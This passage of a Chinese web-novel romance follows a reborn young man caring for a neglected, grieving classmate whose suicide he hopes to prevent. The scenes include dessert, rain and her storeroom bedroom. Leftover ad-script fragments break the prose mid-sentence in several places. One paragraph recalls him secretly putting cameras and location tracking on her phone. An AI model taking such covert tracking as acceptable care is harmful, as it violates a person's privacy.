在某个雨夜,她曾脱力地依偎在宋枝年旁边轻声说:“你知道吗,我以前很羡慕别人有朋友。教室门口偶尔会有很多面生的人,可能是大家分班前认识的,课间的时候,很多人会来找以前的朋友。” “当时我性格太差了,没有什么朋友。” 姜可宁的倾诉是需要窗口的,只有当她感受到安心时才会诉说起自己曾经在意的事情,而就是这些分散在生活每个角落的零碎的她心血来潮向宋枝年透露的心事,他每一件都记得很清楚。 他记得姜可宁说的每句话,所以他不愿让姜可宁不会在以后想起来的时候,再去羡慕别人了。 43. 宋枝年拉着姜可宁的胳膊,“走,带你去吃小食堂的下午茶。” 她立刻挣了一下:“不,不用了,我不饿。” 宋枝年早有准备,“我饿了,一个人去多孤单啊,你陪陪我吧。” “求你咯。” “……好吧。” 看吧,只要这么说,姜可宁就没办法拒绝,她几乎不会拒绝宋枝年的任何要求,即便是生病之后,只要他表示出情绪上的失落,姜可宁再怎么样都会吃下半碗饭。她几乎不会拒绝宋枝年的要求,除了不伤害自己。 对很多人来说,“求”是不能轻易说的,对以前的宋枝年来说也是,别说轻易,他都没求过人,也就是姜可宁这个小白眼狼,都求她了,她还是不听话呀,十七楼,那么高,这得多疼,宋枝年不敢想也不去想。 44. 小食堂人满为患,平时吃正餐的时候不见得这么挤,现在吃这些有的没的倒是抢起来了。 “想吃什么?”宋枝年问。 “都可以的,你想吃什么,我请你。”姜可宁有些小声的说。 然后她又开始找补,“上次,你请我吃饭,还有上上次你给我买了很多零食,上上上次…” 宋枝年笑了,“好啦!你怎么这么会算帐啊,行吧,这次你请我,我想吃西米露。” “可以的。”姜可宁说。 选甜食准没错的。 宋枝年在心里暗自窃喜,开卷考试就是不一样,长大后经济独立的姜可宁会慷慨地满足自己饮食上的喜好,进口的巧克力,精致的甜品,盒装草莓,一个球几百块的雪糕,这些都是她取悦自己的方法。可惜她想要的东西没有在最想要的时候得到,后面再拥有便也没那个感觉了。 宋枝年把她带到最旁边的队伍,两只手搭在她肩上让她站在自己前面。 队伍前进得很快,下一个就是他们了,姜可宁忙着从口袋里掏出饭卡,没看见宋枝年正在她身后朝着食堂阿姨挤眉弄眼。 宋枝年:“阿姨,两份西米露。” “好嘞!” 姜可宁回头看了他一眼,举着饭卡准备等食堂阿姨在机器里输入数字。 西米露是一份一份打包好的,用塑料碗装着,前面一个女生捧着小碗跟他们擦肩而过。 食堂阿姨麻溜地把两碗西米露叠着装进塑料袋,再往里扔进两把一次性勺子,电光火石间打了一个漂亮的结,递给姜可宁。 “快上课咯,小妹妹带上楼吃吧!” 姜可宁愣了一下,然后接过来,“谢谢阿姨,可…我还没有刷卡。” 戴着一顶方形白色厨师帽的阿姨不着痕迹地瞟了她身后的人。 “啊……妹妹,我们今天有活动,最后两份免单,不用钱,你们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 太幸运了,刚好是最后两份。” “啊?真的吗。”姜可宁小声地问了一句。 宋枝年捏了捏她的肩膀,带着她往门口那边走,边走不忘给阿姨道谢,“谢谢阿姨啊!我们下次还来。” “好嘞,等你们啊。” 宋枝年在学校里乃至以后的职场都很混得开,一大原因来自于良好的沟通技巧,敢于开口拜托别人帮一些无关痛痒的小忙,并且在别人需要帮忙的时候自然地接过手不刻意而为之。这种技巧让他身边几乎所有人都对他还算不错。所以食堂阿姨也成为他拯救姜可宁的一环。 姜可宁拎着两碗沉甸甸的糖水,又回头看了一眼排队的队伍,“明明还有人在排呀,怎么我们就是最后两份了。” “哎,人食堂阿姨都说了。“宋枝年揉了揉她的头,“因为你很幸运啊。” 姜可宁一听就不说话了,低下了头。 在她去世的前几晚上,曾经坐在窗边向宋枝年道歉,她说:“我出生时脐带绕脖子绕了三圈,我爸妈说当时再晚一点就窒息了,但我还是被救回来了,后来爸爸总说我死里逃生,是一个幸运的孩子。” 说到这里,她强忍着眼泪,顿了顿,宋枝年就揉揉她的手,“你爸妈说的没错啊,你是幸运的小孩啊,这不是遇上我了吗,放心,都会好的。” 姜可宁就用力地摇了摇头,“不是这样的,爸妈后来走了,你还遇上我这么麻烦的人,对不起。” 当年的宋枝年心疼得说不出话来,只能把她抱进怀里,一遍一遍地安抚。 他陪着姜可宁在教室里喝完了那碗糖水。她大概是第一次品尝学校里除了盒饭之外的食物,小口小口地嘬饮好像舍不得一样。 宋枝年:“好喝吗?” 姜可宁像小鸡啄米一样地点头。 宋枝年:“我也觉得好喝,今天托了我们姜可宁的福,喝到了免费的西米露。” 45. 可宁的日记 2014.11.26 今天好冷啊,有点累了,上数学课的时候头突然好疼,好想爸爸妈妈。 2014.11.26 今天跟宋枝年一起去食堂喝了西米露,一直听到小食堂有但没去过,好像有点贵。 但阿姨说最后两份可以免单,我们刚好碰上最后两份的,宋枝年说是因为我幸运才碰上的。 我觉得不是这样,是碰上他我才变得幸运的。 西米露特别好喝。下次要请宋枝年再喝一次。 14. 第十四章 46. 南方的冬天时常是阴天,冷风像是能渗进骨子里,在身体里搅一遍带走热量,冷得人瑟瑟发抖。 宋枝年体质好,冬天的手脚也是暖的,姜可宁就不一样了,一入冬手就没有暖和过。 她去世那时也是冬天,宋枝年每天晚上都会帮她暖手,当时的他已经养成了一上床就帮她暖手的习惯。 当把爱一个人当成习惯是一种什么感觉,大概是只有那个人在你周围活蹦乱跳,你才会觉得自己的生命完整。 47. 那天宋枝年带着一个暖手宝和一个保温壶到文科班,他之前没注意姜可宁喝水,昨天才发现她大冬天的还在用塑料的没有保温功能的水杯。 长大后的她,身体上也因为小时候没有得到很好的照料出现大大小小的毛病,比如生理痛会很严重,比如早上容易胃疼,比如经常腰酸。 南方冬天的阴雨天气,衣服晾着很容易不干,要用烘干机,姜可宁没有烘干机能用,有时候校服外套晚上洗完第二天干不了,她就硬着头皮穿着上学,被风一吹,又冷又湿,浑身都难受。 这些事情宋枝年第一次听的时候非常不敢相信,但姜可宁说起来的时候又很平常,像是在讲述每天吃了什么一样的平和。这让宋枝年感到愧疚和羞愧,因为无法感同身受地与她共情还流露出震惊。 他从小优越的生长环境注定了姜可宁跟他在一起偶尔会感到割裂。就像宋枝年不跟她说自己小时候去过哪些国家玩,姜可宁也不会跟他说自己上学的时候没有吃过学校的课间点心。 这些事情宋枝年并不在意,他不觉得一个人在某个阶段过得不好就一辈子都过得不好,曾经他天真地这么认为。 像姜可宁这样的女孩儿,是不能吃太多苦的,世界对她太差了,年少时留下的阴影让她一刻不停与自己的内心作斗争,不知道要怎么爱自己。 宋枝年已经在九班混熟了,直勾勾地走到姜可宁的位置,小傻瓜正趴在桌子上睡觉,罕见地没有在学习,成年后的姜可宁对睡眠的环境很苛刻,嘈杂一点的环境比如飞机上高铁上完全睡不着。 看来十七岁时的小姜可宁成长得还算过得去。宋枝年不想吵醒她,碰了碰她垂在桌角一侧的手,果然是冰的。 他蹲了下来,在姜可宁的课桌旁,用手托着暖手宝,给她捂手。 感受到温暖的姜可宁有点苏醒的迹象,毛茸茸的眉毛皱了一下,眼睫毛颤了颤。 她缓缓地睁眼,眼睛雾蒙蒙地像蒙上了一层透亮的水玻璃。 宋枝年半蹲着对她笑了一下。 姜可宁就立刻坐了起来,手一动,不小心把宋枝年托着的暖手宝打掉在地上,她下意识感到抱歉,弯腰就要去捡,低头的时候头发蹭到了宋枝年的鼻尖,再抬头的时候距离就很近了。宋枝年护着桌角的手指动了动。 姜可宁很快地拉远了距离,脸颊泛起一点血色,她把捡起来的东西递给宋枝年。 “对…对不起。” 宋枝年没忍住捏了捏她的耳垂,“不用对不起,本来就是给你的。” 姜可宁的脸更红了,她闻言看了看手里的东西,“这是什么?” 宋枝年忽略了十七岁的她还有很多很多没有见过的东西,没有吃过的食物,没有去过的地方。 “给你暖手的,你不是总手冷吗,有这个就不冷了。”宋枝年说。 “不…” “别说不用,这是我从家里带出来的,家里没人用,放着也是浪费。” “还有,这是可以保温的水杯,天气冷了不能用塑料的,对胃不好。” 姜可宁听得一愣一愣的,又知道宋枝年没办法被她拒绝,因为最近已经很多次了,宋枝年好像有一万个理由让她收下这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 些东西。 宋枝年看她纠结了一下,然后说:“谢谢你。” “不用谢,以后还给我就好了。”宋枝年说。 姜可宁眼里又闪过流星一样的光彩,宋枝年知道她也许迫不及待就想把她认为的欠他的种种连本带利地还回来。就像以前的她一样,在一起之后还是不能没有负担地收下宋枝年给她的东西。 这并不是姜可宁不爱他,是她就是这样的思维方式,总认为自己不能接受到不追求回报的爱。 宋枝年看着她,心里有些不是滋味,他对姜可宁说:“我也不是平白无故就对你好的,我对你好不只是因为我看上你这个人,我也为我自己的。” 姜可宁听不太懂,但是点点头,“你想让我做什么?”眼神特别坚定像是宋枝年就算让她去上战场她也会去一样。 宋枝年被她逗笑了,“这个我以后慢慢想,不过有一件事你要先做到。” “什么呀?你说,我一定努力帮你。” 宋枝年点头,拉住姜可宁又变得冷冰冰的双手。 他垂着眼睛说:“也没什么特别的,就是……好好活着,每天按时吃饭,按时睡觉,遇到难过的事情就想想我,把我当成垃圾桶,不开心的事都往我身上倒。我这个人就乐意听别人的事。” 姜可宁有点不解,只觉得宋枝年在哄她,也笑了笑,“可……这也没有帮你什么啊?” “这就是帮我了。能做到吗?” 宋枝年的表情可能有些严肃,没办法,他知道现在的姜可宁无法理解他的所作所为,但他也会有不安全感,也会害怕,他需要姜可宁给出承诺,不会再离开他第二次,他不能再来一次了。 “可以的。” “以后,我说以后,你要是有什么其他想让我做的,一定要跟我说。”姜可宁傻里傻气地说。 “好,以后一定。” 15. 第十五章 48. 晚上打算送姜可宁回家的时候,突然下了大雨,宋枝年把单车放在学校,本想打电话让小陈叔叔来接。 转念一想还是决定打车,他并不想让她知道家里有司机。姜可宁不擅长与人交往但对揣摩人心却有自己的一套。 如果被她知道了,她就会想,为什么宋枝年明明有人接送上学却要每天骑车上学呢,她也有一个不好的地方,她希望别人对她的好只是一种顺带的帮助,就像买一瓶油送一小瓶醋一样,醋是赠送的而不是专门去买的。她就是这样一个人,无时无刻不在担忧自己会不会给人造成麻烦,即便说上千百遍她都不能理所应当地接受,所以给得太多反倒会对她有负担。 但现在做的这些已经是宋枝年能接受的最低限度了。他至少没有每天寸步不离不让姜可宁离开他的视线,曾经他在家里装过摄像头,在她手机里下载过定位软件,甚至在不能用手机的时候让熟人每隔两个小时往家里打一个电话。 这些近乎变态的方法,宋枝年全都用过,但是没用,装睡的人是叫不醒的,铁了心想死的人,她也不会因为恋人就停留哪怕多一天。 49. 下雨天校门口堵得水泄不通,像缓慢挪动的劣质奶油。2014年的网约车远不及十年后方便,还正是出租车的市场。 可大部分司机不愿意接学校门口的单,所以宋枝年提前了十分钟遛出来打车都打不到。 有钱能使鬼推磨。 最终姜可宁还是被宋枝年像一只小猫一样拎上了出租车。 她有些不愿意,又觉得浪费,跟宋枝年说:“以前下雨,我也是自己走回家的。” 在小时候的她眼里,好像任何除了满足基本需要的支出都是一种浪费。 宋枝年要帮她改掉这种想法。 “以前是以前,而且这么大的雨,你走回去裤子会湿。”他好生好气地解释。 “可是,你这样送我,送完我还得绕路回家,车费会很贵的。”她睁着水汪汪的眼睛说。 “不会,我家跟你家都距离不远。”宋枝年睁眼就开始说瞎话,他每天至少要骑半小时的车才能从他市中心的家到姜可宁家。 “可是…” “不要可是了,不贵,我有钱的,别担心,没关系。”宋枝年说。 “以前是以前,以前你自己走回家,但是夜路会危险,以前你下雨了也是这样回去,但是淋湿了会容易感冒,你现在有我了,宋枝年就是来给你随便用的,好吗?” “你想想啊,你要是买了一条小狗,然后天天晾着它不逗它,那它会抑郁的,你得天天让它帮你捡球捡笔,这样小狗才会开心。你不是喜欢小狗吗?”宋枝年用讲童话故事的语气说。 姜可宁就笑了,“这是什么话呀?你怎么能跟小狗比啊?” “唉,我不是小狗,但我是暗恋你的人啊。” “怎么了,我们暗恋的人就是这样的,见不得喜欢的人受半点委屈,你理解一下吧。”宋枝年一边说一边给司机指路,好像一点都不为自己说的话害羞。 “你……”姜可宁被他说得耳朵发烫,奈何每次宋枝年说到这个她就一句话都说不出来了。明明自己才是那个暗恋的人,却贪心地像小偷一样从那个人身上汲取能量和爱。 事实上,姜可宁也并不是真心地想一遍遍拒绝宋枝年的好意,她只是害怕一种习惯,一种被关心被照顾着的习惯,她从很小的时候,就是一个人这样孤单地长大的,她是可以的,但是现在宋枝年出现了,她会害怕,如果哪一天,他又突然离开了,那她还能不能一个人生存下去呢,她真的不能确定了。 越靠近她家,宋枝年想把她接出来住的念头就越来越按耐不住,姜可宁家是在老城区,排水设施不到位,大雨下了一会儿就已经有积水了,车不好开进去,宋枝年没有为难司机大哥,让他在巷子口停了车。 他先下的车,帮姜可宁打开车门。 “来,伞给你举着。”然后宋枝年在她面前弯了腰。“我背着你走,水有点深了,鞋子会湿。” “不…不用了,你的鞋也会湿的,我可以自己走的。”她下意识地拒绝宋枝年的好意。 “是啊,你不让我背,就得湿两双鞋,这个天气鞋泡水很快就会开胶的,坏了怎么办?不过坏了也好,要是坏了我就给你买新的。”宋枝年现在非常清楚怎么劝她。 “不,我不用。”…… 姜可宁还在那里踌躇不决,也许已经开始焦虑万一鞋真的坏了怎么办,万一宋枝年淋湿了感冒了怎么办。有一瞬间宋枝年都后悔了,他不应该用这些话让她又陷入焦虑的情绪。 上辈子他熟知姜可宁的时候,她已经习惯了让焦虑淹没自己,不懂得如何缓解压抑的情绪,更不愿意向别人释放负能量。偶尔工作上的焦虑会成为她的动力,这也是她毕业两年就晋升主管的原因。 但她需要的不是焦虑,她需要的是松弛,能给她的生活带来底气的松弛,姜可宁上辈子最缺的就是底气,就是这种长久的一脚就会踏空的恐惧让她无法停下脚步。 人的底气应该来自于自身,姜可宁在年轻时摸爬滚打就耗光了底气,她的青春时光,在她眼里是踏错一步就会造成极大后果的摇摇欲坠的危楼。 比方说万一考不上大学,她会面临什么;比方说在高三毕业时凑不到学费,谁又会帮她;比方说上学的时候万一生病了,那答应下来的兼职怎么办? 这些压在她肩膀上的包袱让姜可宁心上的弦从一而终地紧绷着,所以在卸下重担、经济自由、收获爱情的时候,她浑身好像是轻飘飘的,就在本该越过越好的关键节点,以往压抑着的痛苦全部喷涌而出,瞬间把她好不容易建立起来的精神世界彻底压垮,没有了目标,没有了能看得见的、她需要拼命去得到的东西,从此姜可宁再找不到能好好活下去的理由了。 所以现在需要宋枝年,他会让她知道,不管有什么事情,姜可宁也是有人兜底的。不管以后遇到什么,宋枝年都会在。 道路两旁的车呼啸而过,像是谁都在赶时间,谁都不愿意为谁停留片刻。 “姑娘,快点吧,人小伙子一直等呢!”前面的司机估计等得不耐烦,帮了宋枝年一把。 50. 昏黄的路灯下,宋枝年踩着积水,背着姜可宁一步一步往家里走。 伞是她举着的,她一只手绕过宋枝年的脖子,一只手举着伞,旁边的土墙上映出两人的影子。重重叠叠的被一把大伞笼罩着。 宋枝年不由得想起来,姜可宁工作之后第一次醉酒,就是在公司给她办的升职聚餐上。宋枝年接到她同事打来的电话时她已经倒在饭局不省人事了,他本以为是不做人的同事把她灌成这样的,后来一问才知道是这家伙自己把自己喝醉的。但姜可宁一点都不爱喝酒。 也是个下雨的晚上,宋枝年也这么背着她回家,她知道到家了,就在宋枝年耳边说:“宋枝年,我升职了,以后能赚很多很多的钱。”语气软绵绵的,比她总把拒绝的话挂在嘴边时要乖巧许多。 宋枝年当时只觉得这个小财迷很可爱,附和地说:“好!那等我们姜主管包养我咯。” 她在宋枝年肩膀上点了头,头发掠过他的脖子,有些痒。“好啊,我还是会继续努力的,我不是没用的人,你……你…不会离开我吧。你身边那么多厉害的人,唉,我不知道要升几次职才比得上。”姜可宁的声音突然有点委屈。 宋枝年刚想说什么。 “不过没事的,小姜主管可以包养宋枝年,如果他愿意的话。”当时她说完这句就睡晕过去了。 宋枝年也是慢慢了解她的要强和她的坚持,好像两个人的差距在宋枝年的眼里最多就是一条马路的距离,在姜可宁的眼里却是一条无法跨越的鸿沟,要用尽毕生的努力,用很多财富和时间才能构建起跨越鸿沟的桥梁。 所以姜可宁这种在职场中这么理智的人,才会在升职聚会上把自己喝醉,一路走来的艰辛她对宋枝年闭口不谈,只讲述得来的成果,让宋枝年没有机会去心疼她。 他曾经以为这是不信任的表现,自以为是地认为只要他做得再好一点,让她感受到更多的爱,这个傻瓜就不会耿耿于怀了。 但不是这样的,他低估了姜可宁的决绝。 51. 姜可宁还跟以前一样,被他背着的时候,会偏头把脸靠在他的背上,这个姿势好像让她觉得安全,宋枝年感受得出。 雨水顺着细密的小孔渗进鞋面。 鞋是废了,不过哪有老婆重要呢。 他一步一步地踏进没过了脚踝的雨水,背上是他曾经失去过的最爱的人,宋枝年突然很感慨,他真的来得很迟。在他看不见的岁月里,姜可宁自己独自一人要走过多少次积水呢? 宋枝年知道她并不喜欢雨天,每次下雨她出门前都会有些焦躁的情绪,有时是会在包里备着两把伞,一把大的一把小的,有时是会备着鞋套,尽管后来宋枝年每天早上会开车送她上班,但这些因为独自走过得来的经验还是让她的包裹装满了尖锐又沉重的碎石。 因为知道自己下雨没有人接,所以每天都备着伞,随时应对突发状况。 等宋枝年把她从背上放下来的时候,她眼里已经不出意外地充满了愧疚的神情。 “好啦,把公主送到了,我要走啦,笑一个嘛。”宋枝年说。 在记忆当中,他一次都没有去过姜可宁的家,唯一一次见到她的家人是因为,姜可宁去世前一两年,她的舅妈要到广州做一个小手术,他陪着姜可宁去了一两次医院。 姜可宁突然扯了扯他的袖子,眼睛盯着他的鞋子和裤腿,“等,你等等,你跟我上去一下吧,我拿风筒帮你吹一下,太湿了。” “今天,家里没人,只有我一个,没事的。” 宋枝年也不知道她这一句没事是说给谁听,没有推脱跟着她上了楼,他一次都没有见过。姜可宁曾经居住的地方。 灰暗的楼道顶端有一盏白色的不怎么发光的小灯,周围的墙上张贴了小广告还有一些被涂画过的痕迹。 墙皮掉了一些,很不平整,漏出里面褐色的墙体,空气中有一股梅雨季节受潮严重的气味。 姜可宁走在前面,拿着钥匙插进锁孔,铁门开了。 宋枝年跟着她走进去,里面的环境要比外面好一些,勉强能看出一个家的样子。 姜可宁回了一下头,似乎在观察他的表情,宋枝年当然没有露出异样。 曾经宋枝年提过再怎么样都得上门拜访一下,当时他并不知道姜可宁舅舅一家对她并不好。 每次她一提,姜可宁就说:“你不会想去的。” 宋枝年就说:“你怎么知道我不想呢?” 她就说:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我家里环境不好,你待不惯的。” 她会露出那个很多次出现过的忧虑表情,像是真的很不愿意,宋枝年就没再为难她,感情是两个人的事,确实没有必要牵扯到家庭。如果她真是这么想的就好了,但姜可宁是一个小骗子呀,她从头到尾认定宋枝年一开始就不会喜欢她,后来喜欢她了也是机缘巧合,就算在一起了也不会长久。 她曾经亲口说出:“不会有人能一直陪在谁身边的。” 宋枝年一边回忆一边很小心地扫了一圈屋子。 不过现在看起来也还好,没有到宋枝年原本脑海中那种不能住人的程度。 屋子里甚至还摆着几张照片,有她舅舅舅妈两人的,也有她表姐小时候的照片,还有一家三口的,唯独没有一张照里面有姜可宁。 乍一看这是一个虽然并不富裕但家庭和睦的温暖小窝。 房子是两室一厅的构造,层高有点低,感觉一伸手能碰到天花板。 一共两间屋子,一间屋子是锁着的,只有一间开着,既然姜可宁在家,那为什么要把房间门锁起来?还是说,那不是她的房间,可这个屋子没有更多的房间了。 宋枝年看她脱了鞋子,赤着脚在一个木质柜子里翻出一个老式风筒。 “你的房间在哪?”宋枝年问。 屋子的空间很小,放进了低沉的声音似乎拥挤起来。 姜可宁好像不愿意回答这个问题,很生硬地忽略,“我帮你吹一下。” 吹风机通电响起沙沙的声音,热风好像把没什么温度的阴湿房子烘得干燥温暖。 有一种压抑着的愤怒在宋枝年心里梗着,他握住姜可宁的手腕,把风筒关了,周围又恢复只有楼下行人偶尔说话的声音。 “家里,没有你的房间吗?”宋枝年问。他应该以更委婉的方式问的,但他实在想不出来了,他有些心慌。 姜可宁最终还是垂下了头,“有。”她指了指这间屋子的角落,宋枝年没注意到的一个角落,原来还有一扇门,没有关,从外面看进去是堆满了纸箱子的杂物间。 宋枝年起身就想走过去,被姜可宁拦住了,“别看了,没什么好看的。”她说。 “你表姐不是去上学了吗,为什么她的房间不能用,以前呢,你一直住那里面吗?”宋枝年按照常人的思维,一个家里明明空着一间房,为什么要让一个十七岁的姑娘住在堆满纸箱的杂物间。 “我不能进表姐的房间。”姜可宁说,还是用那种平和的讲述的语气,好像你再不能理解为什么她会经历这些,她也就是淡淡地说:没有为什么,事实就是这样的,这就是我的生活。 “你舅舅呢,你把他电话给我,我跟他说。”宋枝年觉得自己的情绪已经达到临界,肺都快气炸三个,他不理解为什么好像所有人都对他爱的人很差。 姜可宁愣怔了几秒,然后抬起头,眼睛亮亮的,眼睫毛一直在颤,“你怎么知道我是跟舅舅住的,还有,你怎么知道我姐姐去上学了。” 是,这些都是宋枝年后来才知道的,现在的姜可宁并没有告诉过他。 “你告诉过我,然后自己忘记了,你在自己不知道的时候全告诉我了,因为你很信任我但是又不承认。”宋枝年骗了她。 “是吗…我觉得…你好像,真的知道我很多,像很久之前就认识我一样。”姜可宁小声地嘀咕。 “是啊,是这样的,但还不够多。”宋枝年按了按她的肩膀,让她坐下,又摸了摸她的脸,摸到脸侧有些湿润。她的头就更低了。 “别哭,什么事都有我。” 宋枝年还是看到了那个杂物间,里面除了纸箱,还有一张很小的木板床,除此之外,再没有任何房间里该有的东西,除了姜可宁在纸箱子上堆着的卷子、课本、文具,还有她用衣架悬挂得齐齐整整的校服。 宋枝年的手指都不由自主颤抖起来,他记得姜可宁在装修他们新房子的主卧时,特别地上心,大到房间格局,小到摆放着的小物件,她都要精挑细选,亲自上手。而且基本上每天都会摆放一遍移位了的东西,把整间屋子整理得非常精致,又有生活气息。 杂物间的门也很破,碰一碰还能掉出一些木屑,宋枝年侧过身子,不小心撞到了,门的内侧正对着他。 几乎是一瞬,仿佛上天让他注意到一般,他看到了木门偏下方,有一些指甲抠出来的痕迹,再往上一些,有一些黑色的字迹和油画笔画出来的图案。 “妈妈,救我。”“我好想你们。”“为什么不放我出去。”…… 是什么让一个细心装扮自己房间的人,思虑再三还要在家里安一个小帐篷。这个杂物间,宋枝年不知道对姜可宁来说是何等矛盾的存在,是她在这个不属于自己的家中唯一拥有支配权的地方,也是曾经被自己的亲人囚.禁的地方,她要怎么说服自己在这种地方安心睡觉呢?宋枝年一辈子都找不到答案。 他突然觉得胃很疼,回头一看,姜可宁正在门口十分难堪地搅着手指,宋枝年很了解她,她在后悔,她在后悔让十七岁喜欢的人见到自己这么狼狈的一面。 宋枝年把门用力地关上,砰的一声,陈旧的木头渣子有一部分掉在地上,好像摧毁了这间屋子的某一部分。 他抱住了姜可宁。 “宝宝,我们不要住在这里了。”他用近乎沙哑的声音说,胸腔里像是灌进一万吨水那么沉重。 16. 第十六章 52. “你说什么?” 也许是好不容易有了独处的时间,也许是被看到最狼狈的一面之后并没有想象中的难受,又或是很久没有揭开伤疤后的脆弱。 姜可宁第一次回应了他的拥抱,手轻轻地搭上了宋枝年的校服外套,松松地环上他的腰。 宋枝年不知道她是在问为什么叫她宝宝,还是在问为什么说不住在这里了。 “我带你住别的地方,好不好?”宋枝年说。“你不是相信我吗?再信我一次吧。” 姜可宁罕见地没有说“不要”或者“为什么”。 她有些懵懂地说:“什么地方。” 宋枝年想起姜可宁跟他在一起之后的一个习惯。她会尽量回家吃晚饭,就算要加班也会带回家办公。两人的工作都很忙,宋枝年下班的时间比她晚一点,偶尔遇上突发状况他不想让姜可宁等太久,发信息让她不要等,先吃。 但姜可宁在某些时候倔得跟头牛一样,宋枝年赶回家打开门就会看见姜可宁戴着眼镜,拿着电脑坐在沙发上敲,饭桌上是盖好着的不知道凉了多久的饭菜。 过后宋枝年问过她,为什么不肯先吃点儿,饿坏了怎么办,她胃又不好。姜可宁就用很天真很活泼的语气说:“一起吃晚饭才有家的感觉嘛!” 可惜后来宋枝年每天都准点回家做一大桌子菜,她却没有了好好吃一顿饭的心情。 53. “家。”宋枝年说。“我带你住家里。” 这句话好像让她有些触动,宋枝年感受到怀里的人全身颤抖了一下。 她好像叹了一口气,然后很轻地说了一句:“没有的,我很久很久之前就没有家了。” 宋枝年不知道怎么办了,该怎么办才好,该怎么办才能让她开心一些,该怎么办才能让她相信自己真的会有家。 山盟海誓的厚度在十七八岁的年纪实在薄如蝉翼,但跨越了两个时空的宋枝年真真切切地已经爱了姜可宁许多年。 宋枝年拉起她的手,在手心里捏了几下,又摸了摸她干干净净平滑的指甲,上面有几个小小的月牙,之前他好像听说过指甲上月牙长得好看的人会长寿的。 “姜可宁,你记得我跟你说的第一句话吗?”宋枝年面对着她问。 “嗯?”她皱了皱眉头,好像真的在回忆不久前的第一次见面,又好像在思考很久之前的事情。 宋枝年笑了一下,“当时你在走廊上看书,风那么大还不回班里,我就想啊,谁家的小孩这么倔,大冬天的在外面吹冷风。” 姜可宁静静地听他说。 “我爸说我这个人从小被惯坏了,自私自利不懂得疼人的,我当时看着你,我就觉得我爸说得不太对。你知道我那会儿在想什么吗?”宋枝年说。 她摇了摇头,眼睛很亮。 “我特别想给你披件外套,然后给你套上围巾手套,帮你翻书,不然你手在外面容易冰。” “我还想着给你打杯热水,然后再搬把椅子,让你舒舒服服地在走廊上看书。” 姜可宁也能想象到那个场景觉得滑稽,垂眼弯了弯唇,“你不是觉得我傻,想让我回班吗?” 姜可宁爱吹着风看书的习惯一直保留到他们在一起之后,阳台上有一把摇篮椅,灯光也很合适,宋枝年帮她买了很多连帽的毛绒围巾,秋冬的时候她会被包得严严实实地,窝在摇篮椅上看闲书。 北方的十一月已经下了初雪,寒流自北向南带来一波又一波的降水,雨点追逐着砸向窗沿,又积蓄成一汪缓缓滴落到地面。 “是啊,但我知道你就是喜欢边吹风边看书啊。”宋枝年说。“所以啊,我就走过去,我说,姜可宁,我来了。” “之前我说我暗恋你、喜欢你,其实不只是这样,我还非常爱你。” 宋枝年说完摸了摸鼻尖,自己笑了一下,“你可能现在觉得我很轻浮很奇怪吧,才认识没有多久就说爱不爱的,可我就是来疼你 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 来爱你的,你可以理解为使命之类。” “我知道你听不懂,没事,不知道我在说什么最好,你只要知道有宋枝年在,以后你可以做任何想做的事情,我会保证你就算吹风也不会感冒的。” “因为宋枝年会把姜可宁照顾得妥妥当当的,身体也好心情也好,你可以把全部的压力都放在我身上,还有,你说你已经很久都没有家了,不是这样的,你可以把我当你的家人,如果你愿意的话。” “或者这样,反正我已经把你当家人了,你愿不愿意把我当家人随你心意,你只要知道,只要宋枝年还有家,那姜可宁也是有家的小孩。” 宋枝年自顾自地一股脑把自己的心里话全说了,好像在弥补上一世装作不在意的试探,又好像在害怕下一秒梦醒了,这些话再没了说出口的机会。 姜可宁眼眶红红地看着他,鼻尖也有点红,整个人看起来特别可怜兮兮的,他快心疼死了。 宋枝年自言自语:“怎么以前我不知道的时候,你把自己弄得这么委屈呢?”怎么不早一些来找我呢,说不定我就能早点爱上你了。 姜可宁当然听不见他的心声,她有些哽咽地说:“宋枝年,是我爸爸妈妈拜托你来的吗,是他们把你派来的吗,为什么对我那么好?” 宋枝年捏了捏她的耳朵,又用拇指抹了一下姜可宁的眼下,检查她有没有又掉眼泪。 真是个小傻子啊。 宋枝年心里像放了一块小碎石子,摇晃来摇晃去,刺刺挠挠偶尔还有点疼。 “不是的,我是自己来的,不是你爸爸妈妈拜托我来的,当然你爸爸妈妈那么疼你,非常有可能帮你挑了别人,但宋枝年捷足先登了,别人没这个机会了。” 宋枝年刮了刮她的鼻尖,“毕竟我们小姜这么可爱,是一块香饽饽呀。”他说。 姜可宁吸了吸鼻子,“你怎么好像总把我当成小孩哄啊。” 宋枝年又揉揉她的发顶,“你不就是吗?” 17. 第十七章 54. 姜可宁完全是一个矛盾的人,比方说她并不相信命运会保护每个人这种说法,但却会用抛硬币来做一些她做不出来的决定。 她曾跟宋枝年聊过人生中用抛硬币做出来的一系列决定。比方说读书时要把省下的零花钱花在买一条喜欢的裙子还是花在买一本借不到的小说;比方说在文理科成绩差不多的时候选择文科还是理科;比方说高考报志愿要不要为了学校层次更高一点出省念书。 因为没有了爸爸妈妈,这些也许大多数父母会给出建议的瞬间姜可宁都是一次次孤独地在角落里思考很久,然后用一枚硬币作出抉择,抱着一些孤注一掷的情怀一步一步往前探路。所以她怎么可能相信命运会保护每个人这种话呢? 55. 但比起她,宋枝年更不相信命运,否则他也不会出现在这里,出现在跟姜可宁原本毫无交集的时空。 姜可宁曾经说过,自己做的每一个决定好像都还蛮正确的,她那次本来想买一条裙子,但是抛了三次都是相反的结果,她内心纠结,后来一拖再拖,就没有花省下来的钱,结果没过几天班里突然要交班费,这笔钱解了燃眉之急;还有文理分科那次,她高一时还没有自己的一套学习方法,成绩只在中游偏上,文科理科排名差距不大。 姜可宁后来说,就算当时选了理科也没办法和宋枝年分到一个重点班,文科选的人相对少一点,运气好分去了重点班,遇上了人很好的班主任。 再到出不出省上学,那次是在下班回家的路上,宋枝年开车,她坐在副驾驶上看到宋枝年放在车上的照片。靠着车窗,很突然地说了一句:“要是我当初报了外省的学校,就不会遇见你了。” 当时的宋枝年依然是个乐天派的公子哥,他就笑着说:“不会的,我是错过了高铁才遇上你,说明什么,缘分不浅啊,怎样都会遇上的。” 姜可宁就点点头,好像表示赞同,又好像并不相信,她说:“真的吗?” 